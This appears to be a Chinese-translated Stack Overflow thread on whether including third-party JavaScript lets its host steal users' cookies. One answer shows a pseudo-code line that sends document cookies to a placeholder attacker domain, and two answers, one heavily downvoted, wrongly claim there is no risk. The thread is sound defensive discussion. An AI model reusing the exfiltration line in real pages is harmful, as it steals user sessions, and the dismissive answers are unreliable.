链接到外部.js文件时,这不是安全隐患吗?

时间:2011-03-15 14:34:17

标签: javascript jquery security

这意味着如果我有一个网站,并且我链接到外部.js文件,比如jquery或某些小部件服务,他们可以很容易地通过身份验证cookie拉取然后以正确方式登录?

如果我在SSL下怎么办?

6 个答案:

答案 0 :(得分:21)

如果您从其他域中包含Javascript或JSONP代码,则该代码具有完整的客户端功能,并且可以执行任何操作。 它可以发送AJAX请求以自动让您的用户执行操作,并且可以窃取document.cookie

如果您的身份验证cookie仅限HTTP,则无法窃取它们,但它仍然可以使用AJAX模拟用户。

绝不要包含您不信任的域中的JS文件。

如果您的网页使用SSL,则所有Javascript文件也必须使用SSL,否则攻击者可以修改未加密的Javascript以执行他想要的操作。
因此,如果SSL页面使用非SSL资源,浏览器将显示安全警告。

请注意,JSONP也不例外 任何JSONP响应都可以完全访问您的DOM 如果担心安全性,请不要使用不受信任的JSONP API。

答案 1 :(得分:6)

我只能同意SLaks和Haochi(+1和所有)。

非常不安全,即使您信任域,也应该永远不会。不要相信那些告诉你不是这种情况的答案,因为它们是错的。

这就是为什么现在Developer's Guide to Google Libraries API上托管在谷歌CDN上的JavaScript库链接所有都是安全的HTTPS链接,即使加密所有流量也意味着巨大的开销对于谷歌。

他们过去建议仅对自己使用HTTPS的网站使用HTTPS,现在示例中根本没有HTTP链接。

关键是你可以信任谷歌和他们的CDN,但是你永远不能相信一些可怜的schmuck咖啡馆里的本地dns和路由器,你的访问者可能会从这些咖啡馆连接到你的网站,谷歌的CDN是一个很好的目标,原因很明显

答案 2 :(得分:2)

这取决于“拉”是什么意思。正如其他人在这里所说的那样,cookie只发送到它的起源地。但是,第三方(具有恶意意图)文件仍然可以通过执行一些JavaScript代码将您的cookie发送回其服务器,例如

// pseudo-code
cookie_send("http://badguy.tld/?"+document.cookies)

因此,仅包含来自可靠来源(Google,Facebook等)的脚本

答案 3 :(得分:0)

不,因为您网站的Cookie只会发送到您的域名。

例如,当您的浏览器看到 yoursite.com 时,它会发送 yoursite.com 的身份验证Cookie。如果它还必须对jquery发出不同的请求(对于.js脚本),它将不会为yoursite.com发送cookie(但它发送一个jquery cookie - 假设一个存在)。

请记住,每个资源都是HTTP下的单独请求。

答案 4 :(得分:0)

我不确定HttpOnly是否在所有浏览器中得到完全支持,所以我不相信它可以防止攻击。

如果您担心第三方攻击者(即,不是提供JS文件的网站)抓取cookie,请务必使用SSL和安全cookie。

如果你的网页没有在SSL上运行,那么使用HttpOnly cookie实际上并不能防止中间人攻击,因为中间的攻击者可以拦截cookie而不管只是伪装成你的域。

如果您不信任外部.js文件的主机,请不要使用外部.js文件。外部js文件可以重写整个页面DOM,要求将CC提交给任何人,让它看起来(对于普通用户)与您自己的页面相同,所以如果你是恶意的话,你几乎注定要失败.js文件。如果您不确定.js主机是否值得信任,请在本地托管它的副本(并检查文件是否存在安全漏洞)或根本不使用它。一般来说,我更喜欢后者。

在JQuery的特定情况下,如果找不到您更喜欢的副本,只需在Google的CDN上使用该副本。

答案 5 :(得分:-7)

Cookie是针对特定领域的,受同源政策保护。